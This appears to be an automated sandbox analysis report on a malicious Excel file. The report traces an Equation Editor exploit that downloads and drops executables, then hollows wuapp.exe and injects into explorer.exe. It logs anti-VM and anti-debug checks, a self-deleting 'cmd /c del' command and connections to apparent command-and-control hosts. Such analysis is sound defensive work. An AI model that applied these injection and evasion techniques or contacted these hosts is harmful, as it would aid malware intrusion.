Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FDC0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_01E9FDC0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FD8C NtDelayExecution,LdrInitializeThunk,	8_2_01E9FD8C
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FC60 NtMapViewOfSection,LdrInitializeThunk,	8_2_01E9FC60
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FFB4 NtCreateSection,LdrInitializeThunk,	8_2_01E9FFB4
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	8_2_01E9FED0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA01D4 NtSetValueKey,	8_2_01EA01D4
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA1148 NtOpenThread,	8_2_01EA1148
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA010C NtOpenDirectoryObject,	8_2_01EA010C
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA10D0 NtOpenProcessToken,	8_2_01EA10D0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA0060 NtQuerySection,	8_2_01EA0060
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA0078 NtResumeThread,	8_2_01EA0078
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA0048 NtProtectVirtualMemory,	8_2_01EA0048
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9F938 NtWriteFile,	8_2_01E9F938
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA1930 NtSetContextThread,	8_2_01EA1930
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9F8CC NtWaitForSingleObject,	8_2_01E9F8CC
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FBE8 NtQueryVirtualMemory,	8_2_01E9FBE8
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FA50 NtEnumerateValueKey,	8_2_01E9FA50
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FA20 NtQueryInformationFile,	8_2_01E9FA20
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA1D80 NtSuspendThread,	8_2_01EA1D80
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FD5C NtEnumerateKey,	8_2_01E9FD5C
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FC90 NtUnmapViewOfSection,	8_2_01E9FC90
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FC48 NtSetInformationFile,	8_2_01E9FC48
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EA0C40 NtGetContextThread,	8_2_01EA0C40
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FC30 NtOpenProcess,	8_2_01E9FC30
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FFFC NtCreateProcessEx,	8_2_01E9FFFC
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FF34 NtQueueApcThread,	8_2_01E9FF34
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FEA0 NtReadVirtualMemory,	8_2_01E9FEA0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01E9FE24 NtWriteVirtualMemory,	8_2_01E9FE24
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012A2D0 NtCreateFile,	8_2_0012A2D0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012A380 NtReadFile,	8_2_0012A380
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012A400 NtClose,	8_2_0012A400
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012A4B0 NtAllocateVirtualMemory,	8_2_0012A4B0
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012A28A NtCreateFile,	8_2_0012A28A
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012A2CA NtCreateFile,	8_2_0012A2CA
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012A4AA NtAllocateVirtualMemory,	8_2_0012A4AA

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Memory allocated: 77620000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Memory allocated: 77740000 page execute and read and write	Jump to behavior

Source: DL03327INV.xlsx	Virustotal: Detection: 38%
Source: DL03327INV.xlsx	ReversingLabs: Detection: 26%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process created: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wuapp.exe C:\Windows\SysWOW64\wuapp.exe
Source: C:\Windows\SysWOW64\wuapp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\yldnat.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process created: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna	Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\yldnat.exe"	Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Users\Public\vbc.exe

4_2_00403646

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$DL03327INV.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6B01.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@11/16@5/5

Source: C:\Users\Public\vbc.exe

Code function: 4_2_004021AA CoCreateInstance,

4_2_004021AA

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404ABB GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

4_2_00404ABB

Source: explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\zjary\jjvucn\mxni\b98fa234680046ddacdf27145f9ff7b1\qjcbwv\ygyntjah\Release\ygyntjah.pdb source: vbc.exe, 00000004.00000002.995333439.0000000000789000.00000004.00000001.01000000.00000004.sdmp, yldnat.exe, 00000005.00000000.976220140.00000000013BE000.00000002.00000001.01000000.00000005.sdmp, yldnat.exe, 00000005.00000002.983545056.00000000013BE000.00000002.00000001.01000000.00000005.sdmp, yldnat.exe, 00000006.00000000.982290199.00000000013BE000.00000002.00000001.01000000.00000005.sdmp, wuapp.exe, 00000008.00000002.1176125071.0000000002397000.00000004.10000000.00040000.00000000.sdmp, wuapp.exe, 00000008.00000002.1175572763.0000000000352000.00000004.00000020.00020000.00000000.sdmp, nss8A2D.tmp.4.dr, yldnat.exe.4.dr
Source:	Binary string: wntdll.pdb source: yldnat.exe, yldnat.exe, 00000006.00000003.985070971.00000000006C0000.00000004.00000800.00020000.00000000.sdmp, yldnat.exe, 00000006.00000002.1032618043.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, yldnat.exe, 00000006.00000003.983271572.0000000000560000.00000004.00000800.00020000.00000000.sdmp, yldnat.exe, 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, wuapp.exe, wuapp.exe, 00000008.00000003.1032134115.0000000000780000.00000004.00000800.00020000.00000000.sdmp, wuapp.exe, 00000008.00000002.1175742955.0000000001E90000.00000040.00000800.00020000.00000000.sdmp, wuapp.exe, 00000008.00000002.1175921231.0000000002010000.00000040.00000800.00020000.00000000.sdmp, wuapp.exe, 00000008.00000003.1033412733.0000000001D00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wuapp.pdb source: yldnat.exe, 00000006.00000002.1031989955.0000000000030000.00000040.10000000.00040000.00000000.sdmp, yldnat.exe, 00000006.00000002.1032320172.0000000000484000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013B2445 push ecx; ret	5_2_013B2458
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041E9FF push dword ptr [2E33947Ah]; ret	6_2_0041E9FB
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041D5D5 push eax; ret	6_2_0041D628
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041D622 push eax; ret	6_2_0041D628
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041D62B push eax; ret	6_2_0041D692
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041D68C push eax; ret	6_2_0041D692
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_0041E79A push dword ptr [2E33947Ah]; ret	6_2_0041E9FB
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013B2445 push ecx; ret	6_2_013B2458
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EADFA1 push ecx; ret	8_2_01EADFB4
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012F1B1 push esi; retf	8_2_0012F1B2
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012D5D5 push eax; ret	8_2_0012D628
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012D622 push eax; ret	8_2_0012D628
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012D62B push eax; ret	8_2_0012D692
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012D68C push eax; ret	8_2_0012D692
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012E79A push dword ptr [2E33947Ah]; ret	8_2_0012E9FB
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_0012E9FF push dword ptr [2E33947Ah]; ret	8_2_0012E9FB

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\yldnat.exe	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_036D04FF URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_036D04FF

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 5_2_013B1890 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_013B1890

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_5-6528

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	RDTSC instruction interceptor: First address: 0000000000408BB4 second address: 0000000000408BBA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	RDTSC instruction interceptor: First address: 0000000000408F3E second address: 0000000000408F44 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wuapp.exe	RDTSC instruction interceptor: First address: 0000000000118BB4 second address: 0000000000118BBA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wuapp.exe	RDTSC instruction interceptor: First address: 0000000000118F3E second address: 0000000000118F44 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1500

Thread sleep time: -300000s >= -30000s

Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wuapp.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_5-6980

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 6_2_00408E70 rdtsc

6_2_00408E70

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405D7A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,	4_2_004069A4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,	4_2_0040290B

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-2887
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-2346
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-2390
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-2343
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-2368
Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node	graph_4-3510
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	API call chain: ExitProcess graph end node	graph_5-6982

Source: explorer.exe, 00000007.00000000.1074423275.00000000043F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: EQNEDT32.EXE, 00000002.00000002.971587463.000000000069F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ??\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}m
Source: explorer.exe, 00000007.00000000.1074423275.00000000043F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.995482654.0000000000964000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 00000007.00000000.1000541349.000000000869E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&00000000
Source: explorer.exe, 00000007.00000000.1002709372.000000000037B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
Source: explorer.exe, 00000007.00000000.995370512.0000000004423000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.1000541349.000000000869E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0e
Source: explorer.exe, 00000007.00000000.995128220.000000000434F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
Source: explorer.exe, 00000007.00000000.1074423275.00000000043F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
Source: explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 5_2_013B1D2C _memset,IsDebuggerPresent,

5_2_013B1D2C

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 5_2_013B558A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_013B558A

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 5_2_013B1D17 GetProcessHeap,

5_2_013B1D17

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 6_2_00408E70 rdtsc

6_2_00408E70

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036D0559 mov edx, dword ptr fs:[00000030h]	2_2_036D0559
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_001103F8 mov eax, dword ptr fs:[00000030h]	5_2_001103F8
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_0011061D mov eax, dword ptr fs:[00000030h]	5_2_0011061D
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_001106F7 mov eax, dword ptr fs:[00000030h]	5_2_001106F7
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_00110736 mov eax, dword ptr fs:[00000030h]	5_2_00110736
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_00110772 mov eax, dword ptr fs:[00000030h]	5_2_00110772
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_008726F8 mov eax, dword ptr fs:[00000030h]	6_2_008726F8
Source: C:\Windows\SysWOW64\wuapp.exe	Code function: 8_2_01EB26F8 mov eax, dword ptr fs:[00000030h]	8_2_01EB26F8

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 6_2_0040A0E0 LdrLoadDll,

6_2_0040A0E0

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013B439B SetUnhandledExceptionFilter,	5_2_013B439B
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 5_2_013B43CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_013B43CC
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013B439B SetUnhandledExceptionFilter,	6_2_013B439B
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Code function: 6_2_013B43CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_013B43CC

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 23.81.214.26 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.arjimni.com
Source: C:\Windows\explorer.exe	Domain query: www.tw-life.net
Source: C:\Windows\explorer.exe	Domain query: www.contractornurd.com
Source: C:\Windows\explorer.exe	Domain query: www.yiwanggkm.com
Source: C:\Windows\explorer.exe	Network Connect: 164.155.217.57 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.212 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Section unmapped: C:\Windows\SysWOW64\wuapp.exe base address: 8E0000

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wuapp.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wuapp.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Memory written: C:\Users\user\AppData\Local\Temp\yldnat.exe base: 400000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

